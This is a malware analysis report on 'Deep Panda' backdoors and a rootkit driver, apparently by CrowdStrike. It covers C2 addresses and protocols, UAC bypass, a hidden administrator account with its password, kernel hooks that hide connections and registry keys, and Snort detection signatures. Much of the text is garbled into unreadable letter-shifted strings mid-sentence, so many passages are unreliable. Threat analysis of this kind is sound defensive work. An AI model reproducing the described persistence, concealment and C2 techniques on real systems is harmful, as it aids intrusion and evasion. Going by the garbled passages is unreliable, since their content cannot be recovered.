Once the proper APIs have been resolved, the sample then assigns a NULL SID to the rundll32.exe executable and sets the current process Window Station to winsta0, which enables the sample to access the real users desktop if started as service.
The communication to the C2 is handled by a while() loop, with each successive connection attempt causing the loop to  invoke the Windows Sleep() API for a  time interval of 2 seconds, exponentially increasing in length up to 1024 seconds (17 minutes) and then restarting back to 2 seconds.
7KHORFDWLRQLQWKLVVDPSOHLVVWDWLFDOO\GHQHGDV0DOD\VLD7PQHW7HOHNRP0DOD\VLD KG:KLOHWKHUHLVGHDGFRGHWKDWZLOOGRZQORDGWKHORFDWLRQIURPDQ77385/WKDWFRXOGEHGHQHG in the binary, using the User-Agent string Google, this code is not activated due to the format of the stat- LFDOO\GHQHGORFDWLRQXVLQJDQ,3DGGUHVV7KXVWKHVDPSOHZLOORQO\DWWHPSWWRFRQQHFWGLUHFWO\XVLQJ a raw socket to the C2 located at 1.9.5.38:443.
This indicates the use of a boiler plate code or a builder software package that automates the creation of the malicious sample.
The malicious sample sends an initial beacon to the C2 that includes the following information: 7KHFRPSXWHUQDPHDVREWDLQHGZLWKWKHHWRPSXWHU1DPH3, 7KHXVHUQDPHRIWKHFXUUHQW5HPRWHHVNWRSVHVVLRQLIFXUUHQWO\EHLQJH[HFXWHGLQD5HPRWH Desktop session or none otherwise.
7KHFXUUHQWO\ORJJHGLQXVHUQDPHLQWKHV\VWHPDVREWDLQHGZLWKWKHHW8VHU1DPH3, 7KHPDFKLQHVXSWLPH 7KH:LQGRZVYHUVLRQDQG6HUYLFH3DFNOHYHO 7KHDPRXQWRIDYDLODEOH3K\VLFDO0HPRU\LQ0 XUUHQW5HPRWHHVNWRSVHVVLRQVDVHQXPHUDWHGZLWK:76(QXPHUDWH6HVVLRQV VWULQJLGHQWLHUVWDWLFDOO\VHWWR), 7KHEHDFRQLVHQFU\SWHGXVLQJDQ25ORRSXVLQJWKHVWDWLFDOO\GHQHGNH\[DQGVHQWWRWKH The following python function can be used to decode the beacon stings: Initial C2 Phone Home Beacon S  E  N  S  I  T  I  V E 6CROWDSTRIKE def decode(crypted): decoded for x in crypted: decodedchr(((ord(x)(0x1C 1))  (0x1C 1))  0xFF) return decoded DEEP PANDA After sending the initial beacon, the routine loops receiving incoming commands and executes them in sequence.
When a connection can successfully be established to the C2 server, the sleep timer is reset to two seconds for the next attempt.
The network protocol used by this sample resembles a Type-Length-Value layout in both directions.
Each 16 byte request header consists of: QXPHULFDOE\WHVHHPLQJO\OLWWOHHQGLDQFRPPDQGLGHQWLHU 2.
A 4-byte little-endian payload length 3.
8 bytes remaining are a request header that is typically uninitialized and only used by some commands instead of the arbitrary length payload HURRUPRUHRIVSHFLHGE\WHVRIDGGLWLRQDOSD\ORDGWKHQIROORZVWKHKHDGHU 7KLVLQERXQGSD\ORDGLVUHFHLYHGXQFRQGLWLRQDOO\DQGUHJDUGOHVVRIFRPPDQGW\SHLQWRD[HGVL]HVWDFN buffer of 408 bytes size.
Providing additional payload of any larger size will result in a trivial exploitable stack EXIIHURYHURZWKDWDOORZVDUELWUDU\FRGHH[HFXWLRQGXHWRWKHDEVHQFHRIDQ\VHFXULW\IHDWXUHVRZHYHU exploitation of this vulnerability is unnecessary due to the already available unauthenticated command execution capabilities of this backdoor.
Certain commands initiate a second connection to the C2 in a separate thread using the same network SURWRFROEXWSURYLGLQJDGLIIHUHQWUHTXHVWFRPPDQGLGHQWLHUWKDQIRUWKHLQLWLDOEHDFRQ The primary aim of this backdoor is remote desktop control functionality comparable to VNC or Remote Desktop over a custom protocol.
It allows the adversary to view the main desktop graphically and control the keyboard and mouse.
This remote control functionality is implemented as separate messages IRUPRXVHFOLFNVSUHVVHGNH\VHWFXVLQJFRPPDQGLGHQWLHUV[WR[7KHFRPPDQG 0x22000001 initiates continuous transmission of screen captures to the C2.
The screen captures are created using a series of Microsoft Windows Graphic Device Interface (GDI) API calls culminating in a call to GetDIBits().
Command 0x20000001 exits the backdoor and 0x20000000 is issued to completely remove the backdoor from the system.
Network Protocol and Implementation Backdoor Functionality, Supported Commands S  E  N  S  I  T  I  V E 7CROWDSTRIKE DEEP PANDA When command 0x23000004 is received, a temporary new user _DomainUser_ with password Dom4nU- serP4ss is created and added to the local Administrators group.
The backdoor is then started under that account and the user is deleted.
It would appear this technique is meant to obfuscate the activities of the malicious sample by masking the process creators user name to appear to be a generic domain user.
Note that such an account does not normally exist in an Active Directory environment.
Additionally, the primary C2 connection allows for requests to start additional connections to the C2 imple- menting the following functionality: SURFHVVFRQWUROFRQQHFWLRQLQLWLDWHGE\FRPPDQG[WKDWDOORZVIRUHQXPHUDWLRQDQG killing of running processes SLSHGFRPPDQGOLQHSURFHVVFRQQHFWLRQWKDWDOORZVFRPPXQLFDWLRQZLWKVWDQGDUGLQSXWDQG output of arbitrary executables initiated by command 0x23000000 OHEURZVHUFRQQHFWLRQLQLWLDWHGE\FRPPDQG[WKDWDOORZVIRU /LVWLQJGLUHFWRU\FRQWHQWV RS\LQJGHOHWLQJDQGPRYLQJOHV 2SHQLQJOHVXVLQJWKH6KHOO([HFXWH3, RZQORDGLQJDQGXSORDGLQJOHVIURPWRWKH 5HPRWHHVNWRSVHVVLRQHQXPHUDWRULQLWLDWHGE\FRPPDQG[ This sample is typical of a post exploitation tool it is written in .NET 2.0.
This code appears to have been compiled on Thursday May 26th, 2011 at 10:21:44 A.M. UTC (early evening time in China).
The backdoor functionality can be instantiated either directly from the command line or through commands issued over a network based protocol via the C2.
If no arguments are given, a connection to the C2 is initiated to the stati- FDOO\GHQHG,3DGGUHVV7KHFRPPDQGOLQHRSWLRQVVXSSRUWSRVWH[SORLWDWLRQFDSDELOLWLHVVXFKDVFKDQJLQJ OHWLPHVWDPSVIRUHQVLFPLWLJDWLRQSULYLOHJHHVFDODWLRQODXQFKLQJWKHH[HFXWDEOHDQGVSHFLI\LQJDVSHFLF C2.
2QHLQWHUHVWLQJFRPPDQGOLQHRSWLRQDOORZVWKHEDFNGRRUWROWHUWKHFRQWHQWVRIVSHFLHGOHVWRUHPRYH FRQWHQWXVLQJDUHJXODUH[SUHVVLRQUHJH[7KLVFRPPDQGWKHQPRGLHVWKHFUHDWLRQPRGLFDWLRQDQGODVW DFFHVVWLPHVWDPSVRIWKHPRGLHGOHWRFRQFHDOWKHFRQWHQWPRGLFDWLRQVGHWDLOHGOLVWLQJRIFRPPDQG line arguments can be viewed in Appendix A.
This activity is generally associated with log cleaning to com- plicate a forensic investigation.
The sample contains an embedded IP address for C2 that is stored in an encrypted format as a string re- source: W P-TK-.FK-X7PR6N-.D))) Post Exploitation Tool Sample (MD5:  2dce7fc3f52a692d8a84a0c182519133) S  E  N  S  I  T  I  V E 8CROWDSTRIKE DEEP PANDA S  E  N  S  I  T  I  V E 9CROWDSTRIKE 7KHUVWWZRE\WHVRIWKLVVWULQJUHSUHVHQWWKHEDVHOHQJWKRIWKHHQFU\SWHGVWULQJLQWKLVFDVH[ )ROORZLQJWKLVLVDEDVHHQFRGHGVWULQJRIWKHVSHFLHGOHQJWK2QFHWKLVVWULQJKDVEHHQGHFRGHG XVLQJEDVHWKHUHVXOWLVWKHQ25GZLWKWKH[HGYDOXHRI[\LHOGLQJWKHGHFRGHG,3GGUHVV 202.86.190.3:80 (Hong Kong: TeleOne(HK) Limited).
There are three components to the protocol: Authentication is accomplished using a 32 byte packet, this packet consists of: IRXUE\WHPDJLFNH\ZKLFKLQWKLVVDPSOHLVVWDWLFDOO\GHQHGDV[ 2.
A four byte random number generated by the rand() function 3.
The machine ID comprised of an obfuscated combination of the Machine name and hard drive serial number.
The algorithm for generating this is in Appendix B 4.
The communication protocol version number, which in this sample is 0x2 5.
The version of the malicious sample, in this case it is 841 An example authentication packet sent to the C2 is located in Appendix E IWHUVHQGLQJWKHLQLWLDODXWKHQWLFDWLRQSDFNHWWKHVDPSOHYHULHVWKDWWKHUVWIRXUE\WHVRIWKHUHVSRQVHLV HTXDOWRDVWDWLFDOO\GHQHGYDOXHLQWKLVVDPSOHWKHYDOXHLV[,QDGGLWLRQDQE\WHNH\LVVHQW to the client which is then RC4 encrypted using the random number generated in step 2 from above as the password.
This value is then transformed using a simple algorithm in Appendix F into a 32 byte array.
The UVWE\WHVRIWKLVDUUD\DUHWKHQXVHGDVWKH.
(DQGWKHVHFRQGE\WHVDUHXVHGDVWKH,9IRUVHWWLQJ up AES encryption which is then used to encrypt and decrypt any further communications.
Network Protocol and Implementation DEEP PANDA Beacon, this is typical of this type of malicious sample, it allows the operator to separate various infected hosts in a targeted campaign.
The beacon for this sample is formatted as XML and consists of: 7KHLQIHFWHGPDFKLQHQDPH XUUHQWWLPH]RQH :LQGRZVYHUVLRQ /RFDOWLPHGDWHRIWKHLQIHFWHGPDFKLQH SURWRFROYHUVLRQ An example of an unencrypted beacon: ?
xml version1.0 encodingutf-16?
BasicInfo xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xmlns:xsdhttp://www.
w3.org/2001/XMLSchema HostName Infected System Hostname/HostName int_0-8/int_0 osVersionMicrosoft Windows NT 6.1.7601 Service Pack 1/osVersion string_012/27/2011 16:34:36/string_0 Version2/Version /BasicInfo Command handling loop, this is a loop structure that will process and execute commands sent by the C2.
The malware sends and receives a heartbeat/keepalive packet every 2 minutes.
The command format is derived from a structure consisting of: 7KHVHHOGVDUHUHFHLYHGDVDVHTXHQFHRIVHULDOL]HG1(7REMHFWVLQWKHRUGHUVSHFLHGGHWDLOHG description of the possible values for commands is in Appendix D. It is important to note that the order in ZKLFKWKHDSSOLFDWLRQGHQHVWKHPLVQRWWKHVDPHRUGHUDVWKH\DSSHDUWREHFRPLQJRYHUWKHQHWZRUN ([DPSOHVRILPSOHPHQWHGFRPPDQGVLQFOXGHGRZQORDGDQGXSORDGOHVLQVWDOOLQJQHZ1(7DVVHPEOLHV calling methods on those assemblies, connecting to new C2 servers and executing processes.
Backdoor DLL Sample (MD5:  de7500fc1065a081180841f32f06a537) This sample is a sophisticated backdoor which implements several communications protocols and was GHYHORSHGLQ7KLVELQDU\LVFRPSLOHGZLWKWKH6DJXVLQJ9LVXDO6WXGLRHQDEOLQJVWDFNEXIIHU RYHURZGHWHFWLRQ7KLVFRGHDSSHDUVWRKDYHEHHQFRPSLOHGRQ6XQGD\2FWREHUDW30 UTC (late evening time in China).
The code contains several Run Time Type Information (RTTI) artifacts that LQGLFDWHPRVWRIWKHFODVVQDPHVZHUHSUH[HGZLWKWKHVWULQJ3BLQWKHRULJLQDOVRXUFHFRGH S  E  N  S  I  T  I  V E 10CROWDSTRIKE Backdoor DLL Sample (MD5:  de7500fc1065a081180841f32f06a537) DEEP PANDA Variants of this Trojan are sometimes detected under the name Derusbi by Microsoft, Trend, Sophos and Symantec AV engines.
This sample is a DLL which can be registered as a service and is used to drop a kernel driver and provide an interactive command line shell to the C2.
It also is able to bypass User Account Control (UAC) to install itself by using the sysprep.exe Microsoft Windows executable provided by the targeted system.
The steps it takes to install itself onto a system are as follows: 1.
Copies itself to to WINDIR\system32\Msres3 random characters.ttf IWHULWFRSLHVLWVHOILWZLOOPRGLI\WKHFUHDWLRQWLPHODVWDFFHVVWLPHDQGODVWPRGLFDWLRQWLPHWR the current system time when the copy was made but with the year changed to 2005.
GGVLWVHOIDVDVHUYLFHQDPHIURPWKHEDFNGRRUVFRQJXUDWLRQXQGHU.
(B/2/B MACHINE\\SYSTEM\\CurrentControlSet\\Services\\service This defaults to wuauserv, WKHOHJLWLPDWH:LQGRZV8SGDWHVHUYLFHLQWKHJLYHQELQDU\VGHIDXOWFRQJXUDWLRQ 4.
Adds itself to list of services started by netsvc using the service name helpsvc.
5.
If McAfee AV is installed, creates a copy of regsvr32.exe named Update.exe and then schedules the copy to be deleted on reboot using the well documented MoveFileExA API.
6.
It then calls either the original or copy of regsvr32.exe with the parameters /s /u and the path to the copy of itself it made in Step 1.
The /u parameter means uninstall, which calls DllUnregisterServer, this is an unsophisticated method of DLL entry point obfuscation.
7.
DllUnregisterServer installs the driver and initiates the backdoor component.
7KHVDPSOHLVFDSDEOHRIGURSSLQJDQHPEHGGHGHQFU\SWHGNHUQHOGULYHU,IWKHSURFHVVKXRQJ)DQJX exe is running (AntiVirus360 program from the Chinese Quihoo 360 Technology Co., LTD 360 ), or the username of the DLLs host process context is not SYSTEM, the driver is not written to disk.
Barring the two aforementioned conditions, the sample decrypts the kernel driver to: sysdir\Drivers\6AB5E732-DFA9-4618-AF1C-F0D9DEF0E222.sys )ROORZLQJWKHGHFU\SWLRQDQGZULWLQJRIWKHGULYHUWRGLVNLWLVORDGHGXVLQJWKHZ/RDGULYHU3,7KHGULY- HULVHQFU\SWHGZLWKDVLPSOHIRXUE\WH25NH\YDOXHRI[()DIWHUGHFU\SWLRQWKHOHKDVWKH0 hash of dae6b9b3b8e39b08b10a51a6457444d8.
7KHPDOZDUHFRQWDLQVDG\QDPLFFRQJXUDWLRQVWRUHGLQWKH5HJLVWU\XQGHU HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Security DQGORDGVDGHIDXOWFRQJXUDWLRQHPEHGGHGLQWRWKHELQDU\LIVXFKDFRQJXUDWLRQLVQRWIRXQG7KHZD\ WKLVGHIDXOWFRQJXUDWLRQLVORDGHGDQGSDUVHGLQGLFDWHVWKDWWKLVPDOZDUHKDVEHHQEXLOWZLWKDEXLOGHUWKDW WDNHVDWHPSODWHVDPSOHDQGOHWVDQXQVRSKLVWLFDWHGXVHUVSHFLI\DFRQJXUDWLRQZLWKRXWUHFRPSLOLQJDQ\ code.
S  E  N  S  I  T  I  V E 11CROWDSTRIKE DEEP PANDA ,IWKHFXUUHQWVHUYLFHQDPHPDWFKHVDVHWRISUHGHQHGVHUYLFHQDPHVWKDWOHJLWLPDWHO\H[LVWLQ:LQGRZV the backdoor then loads the original services DLL into the address space with LoadLibrary and invokes the ServiceMain export.
This effectively hijacks the original services entry while retaining its functionality.
While there is code in the binary that allows downloading a list of C2 servers from an HTTP URL, the default FRQJXUDWLRQSUHVHQWVSHFLHVDVDWRXVHWKLVLVWKHVDPHRQJ.RQJVHUYHUDV the one used by the post exploitation .NET tool.
The malware has three distinct C2 protocols two of which can be transmitted over HTTP proxies and one can be bundled in two different dual modes (see 3.
),
totaling 7 distinct supported C2 mechanisms.
The con- JXUDWLRQFRQWDLQVWKHSURWRFROWREHXVHGRURSWLRQDOO\DVHOIFRQJXUDWLRQPRGHLQZKLFKWKHPDOZDUH DWWHPSWVWKHGLIIHUHQWSURWRFROVLQDSUHGHQHGRUGHU,QVHOIFRQJXUDWLRQDFRQQHFWLRQYLDDSUR[\LV DWWHPSWHGLIWKHV\VWHPZLGH,QWHUQHW([SORUHUVHWWLQJVVSHFLI\VXFKDSUR[\7KHFRQJXUDWLRQIRXQGLQWKLV VDPSOHLVVHWWRDXWRPDWLFVHOIFRQJXUDWLRQUHVXOWLQJLQWKHIROORZLQJPHFKDQLVPVEHLQJWULHGLQWKLVRUGHU 1.
Proprietary binary header (optionally over an HTTP Proxy using CONNECT mechanism) this protocol consists of 64 random bytes being sent to the C2.
The C2 then responds with 64 bytes ZKHUHWKHUVWIRXUE\WHVPXVWPDWFKWKHUVWIRXUVHQWE\WHVWRHVWDEOLVKDFRQQHFWLRQ VXFFHVVIXOO\7KHUHPDLQLQJE\WHVDUHGLVFDUGHG,QWHUHVWLQJO\WKHPDOZDUHVWRUHVWKHUVWIRXU bytes rotated right by seven bits and compares that value to the seven bits rotated right version of the servers response, effectively neutralizing the rotations effect the purpose of this is unclear.
ORQJUXQQLQJ7733267UHTXHVWWRWKHSDWKIRUXPORJLQFJLZLWKDVWDWLFDOO\GHQHG773 request string including HTTP headers (optionally over a HTTP Proxy using CONNECT).
The malware requires the response to start with HTTP/1.0 200 or HTTP/1.1 200 and an absence of a Connection: close header.
This one HTTP connection will be used for bi-directional communications, sending chunks of POST payload and receiving chunks of the response, interleaved.
3.
Two long-running HTTP requests to the same C2 (optionally over an HTTP Proxy with original request verb), one GET request to /Photos/Query.cgi?loginid followed by a random number and one POST request to /Catelog/login1.cgi.
The GET request serves as a down-stream channel while the POST request serves as a upstream channel.
7KLVGHPRQVWUDWHVDQDWWHPSWWRXVHWKHPRVWHIFLHQWFRPPXQLFDWLRQFKDQQHOUVWIDOOLQJEDFNWRPRUH legitimate appearing channels as required in order to appear Request For Comment (RFC) compliant with the HTTP protocol.
GGLWLRQDOO\WKHPDOZDUHFRQWDLQVDFXVWRP16FOLHQWLPSOHPHQWDWLRQWKDWZLOOXVHWKHV\VWHPVFRQJXUHG 16VHUYHUWRWXQQHOWUDIFRYHUOHJLWLPDWH166LQFHWKLV S  E  N  S  I  T  I  V E 12CROWDSTRIKE C2 Communication Mechanisms DEEP PANDA PHFKDQLVPLVQRWDWWHPSWHGLQVHOIFRQJXUDWLRQDQGZDVQRWFRQJXUHGIRUWKLVELQDU\DQDO\VLVZDVOHIWRXW due to time constraints.
After establishing any of the aforementioned channels for arbitrary binary data exchange, the malware will start sending and receiving compressed binary blobs via the channel of choice.
The C2s binary data blobs are compressed.
No further encryption of the data takes place.
All C2 transport implementations contain code for accepting and handling server-side connections of the respective protocols.
However, this code does not appear to be invoked.
It appears that the author of this code shares the library that implements these transports for the client with the C2 server.
The main backdoor thread then reads commands from the chosen C2 protocol and passes them on to any of the following registered handler classes based upon a command ID.
The handler class is responsible for parsing the remainder of the command.
3B),/()LOHURZVLQJDQGDWD([OWUDWLRQ 7KLVKDQGOHUFODVVIRUFRPPDQG,LPSOHPHQWVJHQHULFGLUHFWRU\DQGOHEURZVLQJXVLQJ)LQG)LUVW)LOH: DQG)LQG1H[W)LOH:3,VDVZHOODVUHDGLQJDQGZULWLQJDUELWUDU\OHVYLDFRPPDQGVWKXVHQDEOLQJ XSORDGDQGGRZQORDGRIDUELWUDU\OHV7KLVLVW\SLFDOO\VHHQLQ57VIRUVHDUFKLQJVSHFLFOHVWRH[OWUDWH GGLWLRQDOO\WKLVFODVVLPSOHPHQWVODXQFKLQJRIVSHFLHGH[HFXWDEOHOHVYLDWKHUHDWH3URFHVV3, PCC_PROXY: TCP Proxy This handler class implements a generic TCP proxy.
It supports establishing TCP connections to other hosts and also listening for incoming connections.
The incoming connection contents are forwarded to the C2 and data from the C2 is passed on to connections.
It supports up to 1024 parallel connections.
PCC_MISC : Gather and report system information The malware is capable of gathering various pieces of information from the system, triggered by a command ID 10.
The capabilities include recovering authentication credentials from various system and client storage such as Mozilla Firefox, Internet Explorer, and Remote Access Service (RAS).
This class also supports gathering intelligence on the infected system including identifying security tools by their process name, proxy accounts, and version numbers for the Operating System (OS) and Internet Explorer.
PCC_SYS: System Management This handler class provides the attacker with the ability to manage system components including start/stop/ delete system services, enumerate/alter registry keys, and manage running processes.
This class also provides the ability for the attacker to take a screen shot of the users desktop.
INTERNAL_CMD: Command-Line Shell S  E  N  S  I  T  I  V E 13CROWDSTRIKE C2 Command Invocation DEEP PANDA This handler class uses the command ID 5 and implements an interactive command line shell accessible from the C2 server, containing a series of built-in commands.
If the input is not in this list of built-in commands, the malware attempts to invoke cmd.exe in the background, launching a command or command line utility already present on the system.
The standard output channel of that command is provided back to the C2.
The supported built-in commands are: KHOS_VKRZVDOLVWRIEXLOWLQFRPPDQGV FG GLU PG UG GHO FRS\ UHQ W\SH UXQDV SLG FPG VWDUW UHERRWI VKXWGRZQI FOHDUORJV\VWHPDSSOLFDWLRQVHFXULW\ ZJHW KWWSXUO Kill Switch / Self-Destruction The only command that is implemented directly in the main backdoor thread as a subprocedure call and not via a generic command handler class is command ID 256.
This command results in the DLL deleting itself and terminating the backdoor process.
This sample is a packed 32-bit kernel driver extracted by the aforementioned DLL with an MD5 hash of: de7500fc1065a081180841f32f06a537, this sample will only function on a Windows 32-bit kernel.
This code appears to have been compiled on Sunday October 9, 2011 at 4:50:31 P.M.  UTC (very early morning time of Monday, October 10 in China).
This section describes how the driver performs its initialization routine.
Multiple Instance Protection The driver begins by opening a named event in the BaseNamedObjects object directory with the name IIFI)(XVLQJWKH:LQGRZV3,Z2SHQ(YHQW,IWKHHYHQWDOUHDG\ exists, the driver fails to load, presumably to avoid a S  E  N  S  I  T  I  V E 14CROWDSTRIKE Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) Entrypoint DEEP PANDA multiple instances of itself.
If the event does not exist, the driver then creates it using the Windows API ZUHDWH(YHQW7KH:LQGRZV3,IRUFUHDWLQJHYHQWVZUHDWH(YHQWRUUHDWH(YHQWLQXVHUPRGH DOUHDG\SURYLGHVWKHDELOLW\WRFUHDWHRURSHQDQHYHQWVRWKHXVHRIDQLQLWLDOZ2SHQ(YHQWLVVXSHUXRXV and indicative of relatively limited Windows API knowledge of the author of that part of the code.
It is interesting to note that some of the hex digits in the object name are mixed case which is potentially indicative of the code being re-appropriated from another source.
The second component of the entry point performs an anti-debugging technique, calling the function KdDisableDebugger(), which allows the driver to disable usage of the built-in Windows kernel debugging facility that is used by popular kernel debuggers KD and WinDbg.
Tools such as Syser Debugger, or debugging through a virtual machine are unaffected by this technique.
The sample, rather than importing the KdDisableDebugger() API using conventional methods, looks up the API through MmGetSystemRoutineAddress() instead.
All of the other APIs used by the driver are imported normally, so this is not a technique to hide import APIs used throughout the driver.
Searching Google for MmGetSystemRoutineAddress and KdDisableDebugger results in dozens of Chinese language blogs which explain how to use this technique to Disable WinDbg.
7KHQDOVWHSRIWKHHQWU\SRLQWLVWREHJLQKRRNLQJWKHV\VWHPZKLFKLVGRQHE\WZRKHOSHUIXQFWLRQVRQH is designed to hook the system call table, while the other hooks the network stack.
Network Stack Hooking 7KHQHWZRUNVWDFNKRRNLQJUVWTXHULHVWKH26YHUVLRQXVLQJ5WOHW9HUVLRQRU3VHW9HUVLRQKHFNLQJ the version is necessary because Windows versions beginning with Vista utilize a redesigned TCP/IP net- work stack, most hooking operations will require a different implementation for these versions.
On versions prior to Windows Vista, the TCP/IP driver creates a \Device\Tcp device object through which most network requests are piped through.
On Vista and later, TCP/IP has been split up into multiple components, and IP connection enumeration, which this driver is targeting, is managed by \Device\nsiproxy instead.
In either case, the driver obtains the device object by using IoGetDeviceObjectPointer() and hooks Major Function 14 the IRP_MJ_DEVICE_CONTROL, as this is the function through which all Input Output ConTroLls (IOCTLs) are sent, such as the IOCTL for querying active IP connections.
Network Store Interface (NSI) Hook The NSI hook, targets IOCTL 0x12001B, which is used by NsiGetObjectAllParameters() in nsi.dll when users typically run commands such as netstat.exe or use any of the IP Helper APIs in iphlpapi.dll.
The purpose of the hook is to scan the list of active connections returned to the user, and hide any such connection currently bound to a local TCP port in S  E  N  S  I  T  I  V E 15CROWDSTRIKE Anti-Debugging Protection Hooking DEEP PANDA the range between 40000 and 45000.
The hooking is performed by creating a new completion routine associated with any IRP_MJ_DEVICE_CONTROL IRP that matches the IOCTL, attaching to the target process, performing several memory copies to hide the entry, and detaching.
This functionality is nearly identical to the code posted by Edward Sun (aka cardmagic, sunmy1sina.com, onlyonejazzhotmail.com,  cardcianmail.ustc.edu.cn, QQ 28025945) from Hefei, Anhui province (Nanjing Military District) on July 8, 2007, then a China-based researcher at Trend Micro (now working at .LQJVRIWKLQHVH9FRPSDQ\/LQNHG,QSUROHSDJHKWWSZZZOLQNHGLQFRPSUROHYLHZLG at http://forum.eviloctal.com/viewthread.php?actionprintabletid29604 (See Appendix G).
CrowdStrike has no information connecting Mr. Sun to this intrusion activity, his code appears to have been appropriated by the actor to add similar functionality to their code.
TCP Hook The TCP hook works almost identically to the NSI hook, though instead hooking IOCTL 0x120003 (IOCTL_ 73B48(5B,1)2507,21B(7KLV,27/KDVWKHH[DFWVDPHIXQFWLRQDOLW\DVWKH16,VSHFLF,27/ 7KLV,27/ZDVWKHPHFKDQLVPXVHGRQ:LQGRZVYHUVLRQVSULRUWR:LQGRZV9LVWD7KLVKRRNDOVROWHUV any connections listening on TCP ports in the range between 40000 and 45000.
System Call Hooking 7KHV\VWHPFDOOKRRNLQJWDUJHWVWKUHHIXQFWLRQVZ6DYH.H\Z4XHU\9DOXH.H\DQG Z(QXPHUDWH9DOXH.H\7KHXQSDFNHGNHUQHOGULYHUVDPSOHKRRNVWKHVHIXQFWLRQVE\UHDGLQJWKHVHFRQG DWORD at each of these exported functions.
Because the system call stub uses the EAX register as an index for the system call ID, and a mov eax, imm32  instruction instruction is used, this second DWORD will match the system call ID.
It then adds this index to the value of KeServiceDescriptorTable.
Base, which is the exported kernel variable (on 32-bit Windows only) which directly points to the system call table.
This is one of the simplest ways to do a system call hook, but will not work on 64-bit Windows as this variable is not exported in addition to the protection provided by Microsoft PatchGuard.
7KHV\VWHPFDOOKRRNLVWKHQSHUIRUPHGE\UVWDOORFDWLQJD0HPRU\HVFULSWRU/LVW0/XVLQJWKH Windows API IoAllocateMdl(), and associating the MDL to a non-paged buffer using MmBuildMdlForNonPagedPool().
Once the MDL is associated to the non-paged buffer, the sample locks the underlying pages using the Windows API MmProbeAndLockPages().
Instead of hooking the entry in the table directly, which is easily detectable, the driver uses the LDASM open-source disassembly engine to analyze the function that is being pointed to by the table, and applying a Detours-style hook directly in the code.
It uses the standard mov cr0, eax technique, turning off the Write Protect (WP) bit as it does this.
When the hook is installed, it writes a special DWORD value, KDTR, which allows it to prevent double-hooking or badly-hooking the system call, during unhooking, this value is also checked.
Registry Hooks ,QWKHZ6DYH.H\KRRNDFFHVVWR\\REGISTRY\\MACHINE\\SYSTEM is blocked.
RegSaveKey() which is WKHXVHUPRGHLPSOHPHQWDWLRQRIWKHNHUQHOZ6DYH.H\3,LVW\SLFDOO\XVHGZKHQSHUIRUPLQJDQRILQH backup of a particular registry key.
S  E  N  S  I  T  I  V E 16CROWDSTRIKE DEEP PANDA KRRNLVWKHZ4XHU\9DOXH.H\KRRNZKLFKORRNVIRU3DUDPHWHUVNH\RIDVHUYLFHZLWKLQWKHUHJLVWU\DW \\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Services\\.
It then checks for the values of the ServiceDll and Security keys, in the latter case it applies an XOR on the data with the value 127.
The user-mode component of this malware is a service called msupdate, this driver is attempting to hide the VHUYLFH7KHXVHUPRGHVHUYLFHVWRUHVFRQJXUDWLRQGDWDLQWKH6HFXULW\VXENH\RIWKH53UHJLVWU\NH\ WKLVFRPSRQHQWZLOOREIXVFDWHWKHXVHUPRGHFRQJXUDWLRQGDWD7KHGULYHUGRHVQRWPDNHDQ\HIIRUWVWR KLGHLWVRZQNH\QRUGRHVLWVSHFLFDOO\FKHFNIRU53EHIRUH6HFXULW\ZKLFKFDQOHDGWRUDQGRPGDWD EHLQJREIXVFDWHG7KHQDOKRRNZ(QXPHUDWH9DOXH.H\LVVLPLODULQVWUXFWXUHWRWKHZ4XHU\9DOXHRRN key, due to the fact that these APIs provide almost identical functionality when it comes to reading registry values.
In the registry hooking code of the driver, a call is made to ObReferenceObjectByHandle().
This allows the driver to receive the CM_KEY_OBJECT which is then used with ObQueryNameString() to get the key/value path.
However, no call to ObDereferenceObject() is ever made, which means that all registry objects being sent to these APIs are eventually leaked.
In the registry hook, it was noticed that CurrentControlSet001 was used as the target, if the target machine ZDVXVLQJDODVWNQRZQJRRGFRQJXUDWLRQRUDURDPLQJKDUGZDUHSUROHWKHUHJLVWU\KRRNZRXOGQRW function as intended.
This is the reason the Microsoft implemented a symbolic link to \\CurrentControlSet ZKLFKHQVXUHVWKDWUHJDUGOHVVRIWKHPDFKLQHVFRQJXUDWLRQDQ\UHTXHVWZLOODFFHVVWKHFRUUHFWUHJLVWU\NH\ S  E  N  S  I  T  I  V E 17CROWDSTRIKE DEEP PANDA 7KLVWKUHDWDFWRUOHDYHVVHYHUDONH\QJHUSULQWVZKLFKFDQEHXVHGWRLGHQWLI\FRPSURPLVHGV\VWHPV 7KHVHGLJLWDOQJHUSULQWVDUHXQLTXHWRWKLVDGYHUVDU\IRUWKLVFDPSDLJQ The following network signatures are designed for the popular Open Source IDS called Snort.
These signature can be ported to other formats upon request.
Malware 1 MITIGATION / REMEDIATION Network Signatures Malware 2 Malware 3 S  E  N  S  I  T  I  V E 18CROWDSTRIKE alert tcp any any  any any (msg: BackDoor Beacon Attempt content:78 7c 71 4c 4a 49 49 49 4A 4C 46 classtype:backdoor sid:123456 rev:27122011) alert tcp any any  any any (msg: BackDoor Beacon Attempt content:Goo- gle http_uri classtype:backdoor sid:123457 rev:27122011) alert ip 1.9.5.38 any  any any (msg: Malicious Host Detected class- type:backdoor sid:123460 rev:27122011) alert tcp any any  any any (msg:BackDoor Beacon Attempt content:03 01 74 80 82 21 b5 64 c2 74 22 e3 02 00 00 00 49 03 00 00 00 00 00 00 00 00 00 00 0000 00 00 classtype:backdoor sid:123458 rev:27122011) alert ip 202.86.190.3 any  any any (msg:Malicious Host Detected class- type:backdoor sid:123459 rev:27122011) alert tcp any any  any any (msg: BackDoor C2 content: POST /forum/ login.cgi HTTP/1.1 content:User-Agent: Mozilla/4.0 classtype:backdoor sid:123461 rev:27122011) alert tcp any any  any any (msg: BackDoor C2 content: GET /Photos/Query.
